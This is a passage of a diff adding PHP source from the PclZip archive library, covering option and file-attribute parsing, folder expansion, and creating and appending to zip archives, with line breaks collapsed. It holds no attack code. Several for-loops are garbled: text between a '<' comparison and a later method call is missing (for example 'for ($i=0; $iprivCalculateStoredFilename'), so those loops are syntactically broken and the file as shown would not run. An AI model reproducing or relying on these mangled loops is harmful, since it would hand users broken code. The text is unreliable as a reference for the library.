PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + $i++; + break; + + // ----- Look for options that request a call-back + case PCLZIP_CB_PRE_EXTRACT : + case PCLZIP_CB_POST_EXTRACT : + case PCLZIP_CB_PRE_ADD : + case PCLZIP_CB_POST_ADD : + /* for futur use + case PCLZIP_CB_PRE_DELETE : + case PCLZIP_CB_POST_DELETE : + case PCLZIP_CB_PRE_LIST : + case PCLZIP_CB_POST_LIST : + */ + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_function_name = $p_options_list[$i+1]; + + // ----- Check that the value is a valid existing function + if (!function_exists($v_function_name)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Set the attribute + $v_result_list[$p_options_list[$i]] = $v_function_name; + $i++; + break; + + default : + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, + "Unknown parameter '" + .$p_options_list[$i]."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Next options + $i++; + } + + // ----- Look for mandatory options + if ($v_requested_options !== false) { + for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { + // ----- Look for mandatory option + if ($v_requested_options[$key] == 'mandatory') { + // ----- Look if present + if (!isset($v_result_list[$key])) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); + + // ----- Return + return PclZip::errorCode(); + } + } + } + } + + // ----- Look for default values + if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { + + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privOptionDefaultThreshold() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privOptionDefaultThreshold(&$p_options) + { + $v_result=1; + + if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) + || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { + return $v_result; + } + + // ----- Get 'memory_limit' configuration value + $v_memory_limit = ini_get('memory_limit'); + $v_memory_limit = trim($v_memory_limit); + $last = strtolower(substr($v_memory_limit, -1)); + + if($last == 'g') + //$v_memory_limit = $v_memory_limit*1024*1024*1024; + $v_memory_limit = $v_memory_limit*1073741824; + if($last == 'm') + //$v_memory_limit = $v_memory_limit*1024*1024; + $v_memory_limit = $v_memory_limit*1048576; + if($last == 'k') + $v_memory_limit = $v_memory_limit*1024; + + $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); + + + // ----- Sanity check : No threshold if value lower than 1M + if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { + unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privFileDescrParseAtt() + // Description : + // Parameters : + // Return Values : + // 1 on success. + // 0 on failure. + // -------------------------------------------------------------------------------- + function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) + { + $v_result=1; + + // ----- For each file in the list check the attributes + foreach ($p_file_list as $v_key => $v_value) { + + // ----- Check if the option is supported + if (!isset($v_requested_options[$v_key])) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for attribute + switch ($v_key) { + case PCLZIP_ATT_FILE_NAME : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['filename'] = PclZipUtilPathReduction($v_value); + + if ($p_filedescr['filename'] == '') { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + break; + + case PCLZIP_ATT_FILE_NEW_SHORT_NAME : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value); + + if ($p_filedescr['new_short_name'] == '') { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + break; + + case PCLZIP_ATT_FILE_NEW_FULL_NAME : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value); + + if ($p_filedescr['new_full_name'] == '') { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + break; + + // ----- Look for options that takes a string + case PCLZIP_ATT_FILE_COMMENT : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['comment'] = $v_value; + break; + + case PCLZIP_ATT_FILE_MTIME : + if (!is_integer($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['mtime'] = $v_value; + break; + + case PCLZIP_ATT_FILE_CONTENT : + $p_filedescr['content'] = $v_value; + break; + + default : + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, + "Unknown parameter '".$v_key."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for mandatory options + if ($v_requested_options !== false) { + for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { + // ----- Look for mandatory option + if ($v_requested_options[$key] == 'mandatory') { + // ----- Look if present + if (!isset($p_file_list[$key])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); + return PclZip::errorCode(); + } + } + } + } + + // end foreach + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privFileDescrExpand() + // Description : + // This method look for each item of the list to see if its a file, a folder + // or a string to be added as file. For any other type of files (link, other) + // just ignore the item. + // Then prepare the information that will be stored for that file. + // When its a folder, expand the folder with all the files that are in that + // folder (recursively). + // Parameters : + // Return Values : + // 1 on success. + // 0 on failure. + // -------------------------------------------------------------------------------- + function privFileDescrExpand(&$p_filedescr_list, &$p_options) + { + $v_result=1; + + // ----- Create a result list + $v_result_list = array(); + + // ----- Look each entry + for ($i=0; $iprivCalculateStoredFilename($v_descr, $p_options); + + // ----- Add the descriptor in result list + $v_result_list[sizeof($v_result_list)] = $v_descr; + + // ----- Look for folder + if ($v_descr['type'] == 'folder') { + // ----- List of items in folder + $v_dirlist_descr = array(); + $v_dirlist_nb = 0; + if ($v_folder_handler = @opendir($v_descr['filename'])) { + while (($v_item_handler = @readdir($v_folder_handler)) !== false) { + + // ----- Skip '.' and '..' + if (($v_item_handler == '.') || ($v_item_handler == '..')) { + continue; + } + + // ----- Compose the full filename + $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler; + + // ----- Look for different stored filename + // Because the name of the folder was changed, the name of the + // files/sub-folders also change + if (($v_descr['stored_filename'] != $v_descr['filename']) + && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { + if ($v_descr['stored_filename'] != '') { + $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler; + } + else { + $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler; + } + } + + $v_dirlist_nb++; + } + + @closedir($v_folder_handler); + } + else { + // TBC : unable to open folder in read mode + } + + // ----- Expand each element of the list + if ($v_dirlist_nb != 0) { + // ----- Expand + if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { + return $v_result; + } + + // ----- Concat the resulting list + $v_result_list = array_merge($v_result_list, $v_dirlist_descr); + } + else { + } + + // ----- Free local array + unset($v_dirlist_descr); + } + } + + // ----- Get the result list + $p_filedescr_list = $v_result_list; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCreate() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privCreate($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + $v_list_detail = array(); + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Open the file in write mode + if (($v_result = $this->privOpenFd('wb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Add the list of files + $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); + + // ----- Close + $this->privCloseFd(); + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAdd() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privAdd($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + $v_list_detail = array(); + + // ----- Look if the archive exists or is empty + if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) + { + + // ----- Do a create + $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); + + // ----- Return + return $v_result; + } + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('rb')) != 1) + { + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Go to beginning of File + @rewind($this->zip_fd); + + // ----- Creates a temporay file + $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; + + // ----- Open the temporary file in write mode + if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) + { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Copy the files from the archive to the temporary file + // TBC : Here I should better append the file and go back to erase the central dir + $v_size = $v_central_dir['offset']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($this->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Swap the file descriptor + // Here is a trick : I swap the temporary fd with the zip fd, in order to use + // the following methods on the temporary fil and not the real archive + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Add the files + $v_header_list = array(); + if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) + { + fclose($v_zip_temp_fd); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($this->zip_fd); + + // ----- Copy the block of file headers from the old archive + $v_size = $v_central_dir['size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($v_zip_temp_fd, $v_read_size); + @fwrite($this->zip_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Create the Central Dir files header + for ($i=0, $v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { + fclose($v_zip_temp_fd); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + $v_count++; + } + + // ----- Transform the header to a 'usable' info + $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); + } + + // ----- Zip file comment + $v_comment = $v_central_dir['comment']; + if (isset($p_options[PCLZIP_OPT_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_COMMENT]; + } + if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { + $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; + } + if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; + } + + // ----- Calculate the size of the central header + $v_size = @ftell($this->zip_fd)-$v_offset; + + // ----- Create the central dir footer + if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) + { + // ----- Reset the file list + unset($v_header_list); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + + // ----- Swap back the file descriptor + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Close + $this->privCloseFd(); + + // ----- Close the temporary file + @fclose($v_zip_temp_fd); + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Delete the zip file + // TBC : I should test the result ... + @unlink($this->zipname); + + // ----- Rename the temporary file + // TBC : I should test the result ... + //@rename($v_zip_temp_name, $this->zipname); + PclZipUtilRename($v_zip_temp_name, $this->zipname); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privOpenFd() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privOpenFd($p_mode) + { + $v_result=1; + + // ----- Look if already open + if ($this->zip_fd != 0) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Open the zip file + if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCloseFd() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privCloseFd() + { + $v_result=1; + + if ($this->zip_fd != 0) + @fclose($this->zip_fd); + $this->zip_fd = 0; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddList() + // Description : + // $p_add_dir and $p_remove_dir will give the ability to memorize a path which is + // different from the real path of the file. This is usefull if you want to have PclTar + // running in any directory, and memorize relative path from an other directory. + // Parameters : + // $p_list : An array containing the file or directory names to add in the tar + // $p_result_list : list of added files with their properties (specially the status field) + // $p_add_dir : Path to add in the filename path archived + // $p_remove_dir : Path to remove in the filename path archived + // Return Values : + // -------------------------------------------------------------------------------- +// function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options) + function privAddList($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + + // ----- Add the files + $v_header_list = array(); + if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($this->zip_fd); + + // ----- Create the Central Dir files header + for ($i=0,$v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { + // ----- Return + return $v_result; + } + $v_count++; + } + + // ----- Transform the header to a 'usable' info + $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); + } + + // ----- Zip file comment + $v_comment = ''; + if (isset($p_options[PCLZIP_OPT_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_COMMENT]; + } + + // ----- Calculate the size of the central header + $v_size = @ftell($this->zip_fd)-$v_offset; + + // ----- Create the central dir footer + if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) + { + // ----- Reset the file list + unset($v_header_list); + + // ----- Return + return $v_result; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddFileList() + // Description : + // Parameters : + // $p_filedescr_list : An array containing the file description + // or directory names to add in the zip + // $p_result_list : list of added files with their properties (specially the status field) + // Return Values : + // -------------------------------------------------------------------------------- + function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + $v_header = array(); + + // ----- Recuperate the current number of elt in list + $v_nb = sizeof($p_result_list); + + // ----- Loop on the files + for ($j=0; ($jprivAddFile($p_filedescr_list[$j], $v_header, + $p_options); + if ($v_result != 1) { + return $v_result; + } + + // ----- Store the file infos + $p_result_list[$v_nb++] = $v_header; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privAddFile($p_filedescr, &$p_header, &$p_options) + { + $v_result=1; + + // ----- Working variable + $p_filename = $p_filedescr['filename']; + + // TBC : Already done in the fileAtt check ... ? + if ($p_filename == "") { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for a stored different filename + /* TBC : Removed + if (isset($p_filedescr['stored_filename'])) { + $v_stored_filename = $p_filedescr['stored_filename']; + } + else { + $v_stored_filename = $p_filedescr['stored_filename']; + } + */ + + // ----- Set the file properties + clearstatcache(); + $p_header['version'] = 20; + $p_header['version_extracted'] = 10; + $p_header['flag'] = 0; + $p_header['compression'] = 0; + $p_header['crc'] = 0; + $p_header['compressed_size'] = 0; + $p_header['filename_len'] = strlen($p_filename); + $p_header['extra_len'] = 0; + $p_header['disk'] = 0; + $p_header['internal'] = 0; + $p_header['offset'] = 0; + $p_header['filename'] = $p_filename; +// TBC : Removed $p_header['stored_filename'] = $v_stored_filename; + $p_header['stored_filename'] = $p_filedescr['stored_filename']; + $p_header['extra'] = ''; + $p_header['status'] = 'ok'; + $p_header['index'] = -1; + + // ----- Look for regular file + if ($p_filedescr['type']=='file') { + $p_header['external'] = 0x00000000; + $p_header['size'] = filesize($p_filename); + } + + // ----- Look for regular folder + else if ($p_filedescr['type']=='folder') { + $p_header['external'] = 0x00000010; + $p_header['mtime'] = filemtime($p_filename); + $p_header['size'] = filesize($p_filename); + } + + // ----- Look for virtual file + else if ($p_filedescr['type'] == 'virtual_file') { + $p_header['external'] = 0x00000000; + $p_header['size'] = strlen($p_filedescr['content']); + } + + + // ----- Look for filetime + if (isset($p_filedescr['mtime'])) { + $p_header['mtime'] = $p_filedescr['mtime']; + } + else if ($p_filedescr['type'] == 'virtual_file') { + $p_header['mtime'] = time(); + } + else { + $p_header['mtime'] = filemtime($p_filename); + } + + // ------ Look for file comment + if (isset($p_filedescr['comment'])) { + $p_header['comment_len'] = strlen($p_filedescr['comment']); + $p_header['comment'] = $p_filedescr['comment']; + } + else { + $p_header['comment_len'] = 0; + $p_header['comment'] = ''; + } + + // ----- Look for pre-add callback + if (isset($p_options[PCLZIP_CB_PRE_ADD])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_header, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_header['status'] = "skipped"; + $v_result = 1; + } + + // ----- Update the informations + // Only some fields can be modified + if ($p_header['stored_filename'] != $v_local_header['stored_filename']) { + $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']); + } + } + + // ----- Look for empty stored filename + if ($p_header['stored_filename'] == "") { + $p_header['status'] = "filtered"; + } + + // ----- Check the path length + if (strlen($p_header['stored_filename']) > 0xFF) { + $p_header['status'] = 'filename_too_long'; + } + + // ----- Look if no error, or file not skipped + if ($p_header['status'] == 'ok') { + + // ----- Look for a file + if ($p_filedescr['type'] == 'file') { + // ----- Look for using temporary file to zip + if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) + && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) + || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) + && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) { + $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); + if ($v_result < PCLZIP_ERR_NO_ERROR) { + return $v_result; + } + } + + // ----- Use "in memory" zip algo + else { + + // ----- Open the source file + if (($v_file = @fopen($p_filename, "rb")) == 0) { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); + return PclZip::errorCode(); + } + + // ----- Read the file content + $v_content = @fread($v_file, $p_header['size']); + + // ----- Close the file + @fclose($v_file); + + // ----- Calculate the CRC + $p_header['crc'] = @crc32($v_content); + + // ----- Look for no compression + if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { + // ----- Set header parameters + $p_header['compressed_size'] = $p_header['size']; + $p_header['compression'] = 0; + } + + // ----- Look for normal compression + else { + // ----- Compress the content + $v_content = @gzdeflate($v_content); + + // ----- Set header parameters + $p_header['compressed_size'] = strlen($v_content); + $p_header['compression'] = 8; + } + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { + @fclose($v_file); + return $v_result; + } + + // ----- Write the compressed (or not) content + @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); + + } + + } + + // ----- Look for a virtual file (a file from string) + else if ($p_filedescr['type'] == 'virtual_file') { + + $v_content = $p_filedescr['content']; + + // ----- Calculate the CRC + $p_header['crc'] = @crc32($v_content); + + // ----- Look for no compression + if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { + // ----- Set header parameters + $p_header['compressed_size'] = $p_header['size']; + $p_header['compression'] = 0; + } + + // ----- Look for normal compression + else { + // ----- Compress the content + $v_content = @gzdeflate($v_content); + + // ----- Set header parameters + $p_header['compressed_size'] = strlen($v_content); + $p_header['compression'] = 8; + } + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { + @fclose($v_file); + return $v_result; + } + + // ----- Write the compressed (or not) content + @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); + } + + // ----- Look for a directory + else if ($p_filedescr['type'] == 'folder') { + // ----- Look for directory last '/' + if (@substr($p_header['stored_filename'], -1) != '/') { + $p_header['stored_filename'] .= '/'; + } + + // ----- Set the file properties + $p_header['size'] = 0; + //$p_header['external'] = 0x41FF0010; // Value for a folder : to be checked + $p_header['external'] = 0x00000010; // Value for a folder : to be checked + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) + { + return $v_result; + } + } + } + + // ----- Look for post-add callback + if (isset($p_options[PCLZIP_CB_POST_ADD])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_header, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); + if ($v_result == 0) { + // ----- Ignored + $v_result = 1; + } + + // ----- Update the informations + // Nothing can be modified + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddFileUsingTempFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) + { + $v_result=PCLZIP_ERR_NO_ERROR; + + // ----- Working variable + $p_filename = $p_filedescr['filename']; + + + // ----- Open the source file + if (($v_file = @fopen($p_filename, "rb")) == 0) { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); + return PclZip::errorCode(); + } + + // ----- Creates a compressed temporary file + $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; + if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { + fclose($v_file); + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); + return PclZip::errorCode(); + } + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = filesize($p_filename); + while ($v_size != 0) { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($v_file, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @gzputs($v_file_compressed, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Close the file + @fclose($v_file); + @gzclose($v_file_compressed); + + // ----- Check the minimum file size + if (filesize($v_gzip_temp_name) < 18) { + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes'); + return PclZip::errorCode(); + } + + // ----- Extract the compressed attributes + if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); + return PclZip::errorCode(); + } + + // ----- Read the gzip file header + $v_binary_data = @fread($v_file_compressed, 10); + $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data); + + // ----- Check some parameters + $v_data_header['os'] = bin2hex($v_data_header['os']); + + // ----- Read the gzip file footer + @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); + $v_binary_data = @fread($v_file_compressed, 8); + $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data); + + // ----- Set the attributes + $p_header['compression'] = ord($v_data_header['cm']); + //$p_header['mtime'] = $v_data_header['mtime']; + $p_header['crc'] = $v_data_footer['crc']; + $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18; + + // ----- Close the file + @fclose($v_file_compressed); + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { + return $v_result; + } + + // ----- Add the compressed data + if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) + { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); + return PclZip::errorCode(); + } + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + fseek($v_file_compressed, 10); + $v_size = $p_header['compressed_size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($v_file_compressed, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($this->zip_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Close the file + @fclose($v_file_compressed); + + // ----- Unlink the temporary file + @unlink($v_gzip_temp_name); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCalculateStoredFilename() + // Description : + // Based on file descriptor properties and global options, this method + // calculate the filename that will be stored in the archive. + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privCalculateStoredFilename(&$p_filedescr, &$p_options) + { + $v_result=1; + + // ----- Working variables + $p_filename = $p_filedescr['filename']; + if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { + $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; + } + else { + $p_add_dir = ''; + } + if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { + $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; + } + else { + $p_remove_dir = ''; + } + if 